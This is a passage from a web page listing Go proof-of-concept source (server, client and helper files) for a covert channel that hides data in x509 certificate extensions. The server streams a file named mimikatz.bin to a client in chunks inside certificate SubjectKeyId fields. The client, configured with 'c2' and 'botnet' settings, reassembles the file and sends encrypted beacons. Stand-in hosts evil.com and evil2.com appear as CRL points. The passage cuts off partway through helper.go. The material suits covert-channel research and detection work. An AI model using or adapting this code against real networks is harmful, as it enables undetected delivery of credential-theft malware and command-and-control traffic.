class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">Server code for demonstrating transfering a file over x509 extension covert channel.</span></span><br><span class="line"><span class="comment">Research paper over x509 covert channel: http://vixra.org/abs/1801.0016</span></span><br><span class="line"><span class="comment">Written by: Jason Reaves</span></span><br><span class="line"><span class="comment">ver1 - 2Jan2018</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">MIT License</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">Copyright (c) 2018 Jason Reaves</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">Permission is hereby granted, free of charge, to any person obtaining a copy</span></span><br><span class="line"><span class="comment">of this software and associated documentation files (the "Software"), to deal</span></span><br><span class="line"><span class="comment">in the Software without restriction, including without limitation the rights</span></span><br><span class="line"><span class="comment">to use, copy, modify, merge, publish, distribute, sublicense, and/or sell</span></span><br><span class="line"><span class="comment">copies of the Software, and to permit persons to whom the Software is</span></span><br><span class="line"><span class="comment">furnished to do so, subject to the following conditions:</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">The above copyright notice and this permission notice shall be included in all</span></span><br><span class="line"><span class="comment">copies or substantial portions of the Software.</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR</span></span><br><span class="line"><span class="comment">IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,</span></span><br><span class="line"><span class="comment">FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE</span></span><br><span class="line"><span class="comment">AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER</span></span><br><span class="line"><span class="comment">LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,</span></span><br><span class="line"><span class="comment">OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE</span></span><br><span class="line"><span class="comment">SOFTWARE.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"crypto/rand"</span></span><br><span class="line"><span class="string">"crypto/rsa"</span></span><br><span class="line"><span class="string">"crypto/tls"</span></span><br><span class="line"><span class="string">"crypto/x509"</span></span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"io/ioutil"</span></span><br><span class="line"><span class="string">"log"</span></span><br><span class="line"><span class="string">"malcert_mimikatz_poc/helper"</span></span><br><span class="line"><span class="string">"net"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> active_client <span class="keyword">struct</span> {</span><br><span class="line">ip <span class="keyword">string</span></span><br><span class="line">index <span class="keyword">int</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> currclient active_client</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">verifyHook</span><span class="params">(rawCerts [][]<span class="keyword">byte</span>, verifiedChains [][]*x509.Certificate)</span> <span class="title">error</span></span> {</span><br><span class="line">cert, _ := x509.ParseCertificate(rawCerts[<span class="number">0</span>])</span><br><span class="line">data := cert.SubjectKeyId</span><br><span class="line">dec := helper.DecryptData(data)</span><br><span class="line">fmt.Println(<span class="string">"Received from client: "</span>, dec)</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> bsize = <span class="number">10000</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line">priv, _ := rsa.GenerateKey(rand.Reader, <span class="number">4096</span>)</span><br><span class="line">ca, pv := helper.GenCert(<span class="string">"EICAR"</span>, []<span class="keyword">byte</span>{}, []<span class="keyword">string</span>{<span class="string">"http://evil.com/ca1.crl"</span>, <span class="string">"http://evil2.com/ca2.crl"</span>}, priv)</span><br><span class="line"></span><br><span class="line">fdata, _ := ioutil.ReadFile(<span class="string">"mimikatz.bin"</span>)</span><br><span class="line">sz := <span class="built_in">len</span>(fdata)</span><br><span class="line">iterations := sz / bsize</span><br><span class="line">fmt.Println(<span class="string">"Iterations until done: "</span>, iterations)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> {</span><br><span class="line">cert, err := tls.X509KeyPair(ca, pv)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line">log.Fatalf(<span class="string">"server: loadkeys: %s"</span>, err)</span><br><span class="line">}</span><br><span class="line">config := tls.Config{Certificates: []tls.Certificate{cert}}</span><br><span class="line">config.InsecureSkipVerify = <span class="literal">true</span></span><br><span class="line">config.VerifyPeerCertificate = verifyHook</span><br><span class="line">config.ClientAuth = tls.RequireAnyClientCert</span><br><span class="line">config.Rand = rand.Reader</span><br><span class="line">service := <span class="string">"0.0.0.0:4433"</span></span><br><span class="line">listener, err := tls.Listen(<span class="string">"tcp"</span>, service, &config)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line">log.Fatalf(<span class="string">"server: listen: %s"</span>, err)</span><br><span class="line">}</span><br><span class="line"><span class="comment">//log.Print("server: listening")</span></span><br><span class="line">conn, err := listener.Accept()</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line">log.Printf(<span class="string">"server: accept: %s"</span>, err)</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">defer</span> conn.Close()</span><br><span class="line"><span class="keyword">if</span> currclient.ip == <span class="string">""</span> {</span><br><span class="line">currclient.ip = conn.RemoteAddr().String()</span><br><span class="line">currclient.index = <span class="number">0</span></span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line">blob := []<span class="keyword">byte</span>(<span class="string">"DONE"</span>)</span><br><span class="line"><span class="keyword">if</span> currclient.index < iterations {</span><br><span class="line">blob = fdata[currclient.index*bsize : (currclient.index+<span class="number">1</span>)*bsize]</span><br><span class="line">} <span class="keyword">else</span> <span class="keyword">if</span> currclient.index == iterations {</span><br><span class="line">blob = fdata[currclient.index*bsize : sz]</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line">currclient.index = <span class="number">0</span></span><br><span class="line">currclient.ip = <span class="string">""</span></span><br><span class="line">}</span><br><span class="line">currclient.index += <span class="number">1</span></span><br><span class="line">ca, pv = helper.GenCertWithFile(<span class="string">"EICAR"</span>, blob, priv)</span><br><span class="line">}</span><br><span class="line">log.Printf(<span class="string">"server: accepted from %s"</span>, conn.RemoteAddr())</span><br><span class="line">tlscon, ok := conn.(*tls.Conn)</span><br><span class="line"><span class="keyword">if</span> ok {</span><br><span class="line">log.Print(<span class="string">"ok=true"</span>)</span><br><span class="line">state := tlscon.ConnectionState()</span><br><span class="line">log.Print(state.PeerCertificates)</span><br><span class="line"><span class="keyword">for</span> _, v := <span class="keyword">range</span> state.PeerCertificates {</span><br><span class="line">log.Print(x509.MarshalPKIXPublicKey(v.PublicKey))</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="keyword">go</span> handleClient(conn)</span><br><span class="line">listener.Close()</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">handleClient</span><span class="params">(conn net.Conn)</span></span> {</span><br><span class="line"><span class="keyword">defer</span> conn.Close()</span><br><span class="line">buf := <span class="built_in">make</span>([]<span class="keyword">byte</span>, <span class="number">512</span>)</span><br><span class="line"><span class="keyword">for</span> {</span><br><span class="line">log.Print(<span class="string">"server: conn: waiting"</span>)</span><br><span class="line">n, err := conn.Read(buf)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line">log.Printf(<span class="string">"server: conn: read: %s"</span>, err)</span><br><span class="line">}</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">}</span><br><span class="line">log.Printf(<span class="string">"server: conn: echo %q\n"</span>, <span class="keyword">string</span>(buf[:n]))</span><br><span class="line">n, err = conn.Write(buf[:n])</span><br><span class="line"></span><br><span class="line">n, err = conn.Write(buf[:n])</span><br><span class="line">log.Printf(<span class="string">"server: conn: wrote %d bytes"</span>, n)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line">log.Printf(<span class="string">"server: write: %s"</span>, err)</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">log.Println(<span class="string">"server: conn: closed"</span>)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>client.go</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">Client code for demonstrating transfering a file over x509 extension covert channel.</span></span><br><span class="line"><span class="comment">Research paper over x509 covert channel: http://vixra.org/abs/1801.0016</span></span><br><span class="line"><span class="comment">Written by: Jason Reaves</span></span><br><span class="line"><span class="comment">ver1 - 2Jan2018</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">MIT License</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">Copyright (c) 2018 Jason Reaves</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">Permission is hereby granted, free of charge, to any person obtaining a copy</span></span><br><span class="line"><span class="comment">of this software and associated documentation files (the "Software"), to deal</span></span><br><span class="line"><span class="comment">in the Software without restriction, including without limitation the rights</span></span><br><span class="line"><span class="comment">to use, copy, modify, merge, publish, distribute, sublicense, and/or sell</span></span><br><span class="line"><span class="comment">copies of the Software, and to permit persons to whom the Software is</span></span><br><span class="line"><span class="comment">furnished to do so, subject to the following conditions:</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">The above copyright notice and this permission notice shall be included in all</span></span><br><span class="line"><span class="comment">copies or substantial portions of the Software.</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR</span></span><br><span class="line"><span class="comment">IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,</span></span><br><span class="line"><span class="comment">FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE</span></span><br><span class="line"><span class="comment">AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER</span></span><br><span class="line"><span class="comment">LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,</span></span><br><span class="line"><span class="comment">OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE</span></span><br><span class="line"><span class="comment">SOFTWARE.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"crypto/md5"</span></span><br><span class="line"><span class="string">"crypto/rand"</span></span><br><span class="line"><span class="string">"crypto/rsa"</span></span><br><span class="line"><span class="string">"crypto/tls"</span></span><br><span class="line"><span class="comment">//"crypto/x509"</span></span><br><span class="line"><span class="string">"bytes"</span></span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"log"</span></span><br><span class="line"><span class="string">"malcert_mimikatz_poc/helper"</span></span><br><span class="line"><span class="string">"time"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> settings <span class="keyword">struct</span> {</span><br><span class="line">c2 <span class="keyword">string</span></span><br><span class="line">port <span class="keyword">string</span></span><br><span class="line">botnet <span class="keyword">string</span></span><br><span class="line">priv *rsa.PrivateKey</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">SendData</span><span class="params">(settings settings, data <span class="keyword">string</span>)</span></span> {</span><br><span class="line"><span class="comment">//We can load cert data from files as well</span></span><br><span class="line"><span class="comment">//cert, err := tls.LoadX509KeyPair("certs/client.pem", "certs/client.key")</span></span><br><span class="line">ca, pv := helper.GenCertWithString(settings.botnet, data, settings.priv)</span><br><span class="line">c2 := settings.c2 + <span class="string">":"</span> + settings.port</span><br><span class="line">cert, err := tls.X509KeyPair(ca, pv)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line">log.Fatalf(<span class="string">"server: loadkeys: %s"</span>, err)</span><br><span class="line">}</span><br><span class="line">config := tls.Config{Certificates: []tls.Certificate{cert}, InsecureSkipVerify: <span class="literal">true</span>}</span><br><span class="line">fdata := []<span class="keyword">byte</span>{}</span><br><span class="line"><span class="keyword">for</span> {</span><br><span class="line">conn, err := tls.Dial(<span class="string">"tcp"</span>, c2, &config)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line">log.Fatalf(<span class="string">"client: dial: %s"</span>, err)</span><br><span class="line">}</span><br><span class="line">log.Println(<span class="string">"client: connected to: "</span>, conn.RemoteAddr())</span><br><span class="line"></span><br><span class="line">state := conn.ConnectionState()</span><br><span class="line">rdata := []<span class="keyword">byte</span>{}</span><br><span class="line"><span class="keyword">for</span> _, v := <span class="keyword">range</span> state.PeerCertificates {</span><br><span class="line">rdata = v.SubjectKeyId</span><br><span class="line"><span class="keyword">if</span> bytes.Compare(rdata, []<span class="keyword">byte</span>(<span class="string">"DONE"</span>)) == <span class="number">0</span> {</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">}</span><br><span class="line">fdata = <span class="built_in">append</span>(fdata, v.SubjectKeyId...)</span><br><span class="line"><span class="comment">//fmt.Println("Tasks: ", v.CRLDistributionPoints)</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> bytes.Compare(rdata, []<span class="keyword">byte</span>(<span class="string">"DONE"</span>)) == <span class="number">0</span> {</span><br><span class="line">log.Println(<span class="string">"End of data reached"</span>)</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">}</span><br><span class="line">conn.Close()</span><br><span class="line">fmt.Println(<span class="string">"Total Received: "</span>, <span class="built_in">len</span>(fdata))</span><br><span class="line">time.Sleep(<span class="number">1</span>)</span><br><span class="line">}</span><br><span class="line">fmt.Println(<span class="string">"Data received: "</span>, <span class="built_in">len</span>(fdata))</span><br><span class="line">fmt.Printf(<span class="string">"Md5: %x"</span>, md5.Sum(fdata))</span><br><span class="line"></span><br><span class="line">log.Print(<span class="string">"client: exiting"</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line">priv, _ := rsa.GenerateKey(rand.Reader, <span class="number">4096</span>)</span><br><span class="line">c2_settings := settings{<span class="string">"127.0.0.1"</span>, <span class="string">"4433"</span>, <span class="string">"EICAR"</span>, priv}</span><br><span class="line">SendData(c2_settings, <span class="string">"Im Alive"</span>)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>helper.go</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">Helper code for demonstrating transfering a file over x509 extension covert channel.</span></span><br><span class="line"><span class="comment">Research paper over x509 covert channel: http://vixra.org/abs/1801.0016</span></span><br><span class="line"><span class="comment">Written by: Jason Reaves</span></span><br><span class="line"><span class="comment">ver1 - 2Jan2018</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">MIT License</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">Copyright (c) 2018 Jason Reaves</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">Permission is hereby granted, free of charge, to any person obtaining a copy</span></span><br><span class="line"><span class="comment">of this software and associated documentation files (the "Software"), to deal</span></span><br><span class="line"><span class="comment">in the Software without restriction, including without limitation the rights</span></span><br><span class="line"><span class="comment">to use, copy, modify, merge, publish, distribute, sublicense, and/or sell</span></span><br><span class="line"><span class="comment">copies of the Software, and to permit persons to whom the Software is</span></span><br><span class="line"><span class="comment">furnished to do so, subject to the following conditions:</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">The above copyright notice and this permission notice shall be included in all</span></span><br><span class="line"><span class="comment">copies or substantial portions of the Software.</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR</span></span><br><span class="line"><span class="comment">IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,</span></span><br><span class="line"><span class="comment">FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE</span></span><br><span class="line"><span class="comment">AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER</span></span><br><span class="line"><span class="comment">LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,</span></span><br><span class="line"><span class="comment">OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE</span></span><br><span class="line"><span class="comment">SOFTWARE.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="keyword">package</span> helper</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"crypto/rand"</span></span><br><span class="line"><span class="string">"crypto/rc4"</span></span><br><span class="line"><span class="string">"crypto/rsa"</span></span><br><span class="line"><span class="comment">//"crypto/tls"</span></span><br><span class="line"><span class="string">"crypto/x509"</span></span><br><span class="line"><span class="string">"crypto/x509/pkix"</span></span><br><span class="line"><span class="comment">//"encoding/asn1"</span></span><br><span class="line"><span class="comment">//"encoding/hex"</span></span><br><span class="line"><span class="string">"encoding/pem"</span></span><br><span class="line"><span class="comment">//"fmt"</span></span><br><span class="line"><span class="comment">//"io/ioutil"</span></span><br><span class="line"><span class="string">"log"</span></span><br><span class="line"><span class="string">"math/big"</span></span><br><span class="line"><span class="string">"time"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">encryptData</span><span class="params">(data <span class="keyword">string</span>)</span> []<span class="title">byte</span></span> {</span><br><span class="line">key := <span class="built_in">make</span>([]<span class="keyword">byte</span>, <span class="number">2</span>)</span><br><span class="line">_, err := rand.Read(key)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line">log.Println(<span class="string">"Random data creation error: "</span>, err)</span><br><span class="line">}</span><br><span class="line">c, err := rc4.NewCipher(key)</span><br><span class="line">enc := <span class="built_in">make</span>([]<span class="keyword">byte</span>, <span class="built_in">len</span>(data))</span><br><span class="line">c.XORKeyStream(enc, []<span class="keyword">byte</span>(data))</span><br><span class="line"></span><br><span class="line"><span class="comment">//return hex.EncodeToString(enc)</span></span><br><span class="line"><span class="keyword">return</span> <span class="built_in">append</span>(key, enc...)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">DecryptData</span><span class="params">(data []<span class="keyword">byte</span>)</span> <span class="title">string</span></span> {</span><br><span class="line">key := data[:<span class="number">2</span>]</span><br><span class="line">c, err := rc4.NewCipher(key)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line">log.Println(<span class="string">"RC4 error: "</span>, err)</span><br><span class="line">}</span><br><span class="line">dec := <span class="built_in">make</span>([]<span class="keyword">byte</span>, <span class="built_in">len</span>(data[<span class="number">2</span>:]))</span><br><span class="line">c.XORKeyStream(dec, data[<span class="number">2</span>:])</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">string</span>(dec[:])</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//func GenCertPriv(cn string, data string, crl []string) (*rsa.PrivateKey, []byte, []byte) {</span></span><br><span class="line"><span class="comment">//priv, _ := rsa.GenerateKey(rand.Reader, 4096)</span></span><br><span class="line"><span class="comment">//c, p := GenCert(cn, data, crl, priv)</span></span><br><span class="line"><span class="comment">//return priv, c, p</span></span><br><span class="line"><span class="comment">//}</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">GenCertWithFile</span><span class="params">(cn <span class="keyword">string</span>, fdata []<span class="keyword">byte</span>, priv *rsa.PrivateKey)</span> <span class="params">([]<span class="keyword">byte</span>, []<span class="keyword">byte</span>)</span></span> {</span><br><span class="line"><span class="keyword">return</span> GenCert(cn, fdata, []<span class="keyword">string</span>{}, priv)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">GenCertWithString</span><span class="params">(cn <span class="keyword">string</span>, data <span class="keyword">string</span>, priv *rsa.PrivateKey)</span> <span class="params">([]<span class="keyword">byte</span>, []<span class="keyword">byte</span>)</span></span> {</span><br><span class="line">encData := encryptData(data)</span><br><span class="line"><span class="keyword">return</span> GenCert(cn, encData, []<span class="keyword">string</span>{}, priv)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">GenCert</span><span class="params">(cn <span class="keyword">string</span>, data []<span class="keyword">byte</span>, crl []<span class="keyword">string</span>, priv *rsa.PrivateKey)</span> <span class="params">([]<span class="keyword">byte</span>, []<span class="keyword">byte</span>)</span></span> {</span><br><span class="line"><span class="comment">//extSubKeyId := pkix.Extension{}</span></span><br><span class="line"><span class="comment">//extSubKeyId.Id = asn1.ObjectIdentifier{2, 5, 29, 14}</span></span><br><span class="line"><span class="comment">//extSubKeyId.Critical = true</span></span><br><span class="line"><span class="comment">//extSubKeyId.Value = []byte(`d99962b39e`)</span></span><br><span class="line"></span><br><span class="line">ca := &x509.Certificate{</span><br><span class="line">SerialNumber: big.NewInt(<span class="number">1337</span>),</span><br><span class="line">Subject: pkix.Name{</span><br><span class="line">Country: []<span class="keyword">string</span>{<span class="string">"Neuland"</span>},</span><br><span class="line">Organization: []<span class="keyword">string</span>{<span class="string">"Example Org"</span>},</span><br><span class="line">OrganizationalUnit: []<span class="keyword">string</span>{<span class="string">"Auto"</span>},</span><br><span class="line">CommonName: cn,</span><br><span class="line">},</span><br><span class="line">Issuer: pkix.Name{</span><br><span class="line">Country: []<span class="keyword">string</span>{<span class="string">"Neuland"</span>},</span><br><span class="line">Organization: []<span class="keyword">string</span>{<span class="string">"Skynet"</span>},</span><br><span class="line">OrganizationalUnit: []<span class="keyword">string</span>{<span class="string">"Computer Emergency Response Team"</span>},</span><br><span class="line">Locality: []<span class="keyword">string</span>{<span class="string">"Neuland"</span>},</span><br><span class="line">Province: []<span class="keyword">string</span>{<span class="string">"Neuland"</span>},</span><br><span class="line">StreetAddress: []<span class="keyword">string</span>{<span class="string">"Mainstreet 23"</span>},</span><br><span class="line">PostalCode: []<span class="keyword">string</span>{<span class="string">"12345"</span>},</span><br><span class="line">SerialNumber: <span class="string">"23"</span>,</span><br><span class="line">CommonName: cn,</span><br><span class="line">},</span><br><span class="line">SignatureAlgorithm: x509.SHA512WithRSA,</span><br><span class="line">PublicKeyAlgorithm: x509.ECDSA,</span><br><span class="line">NotBefore: time.Now(),</span><br><span class="line">NotAfter: time.Now().AddDate(<span class="number">0</span>, <span class="number">0</span>, <span class="number">10</span>),</span><br><span class="line"><span class="comment">//SubjectKeyId: encData,</span></span><br><span class="line">BasicConstraintsValid: <span class="literal">true</span>,</span><br><span class="line">IsCA: <span 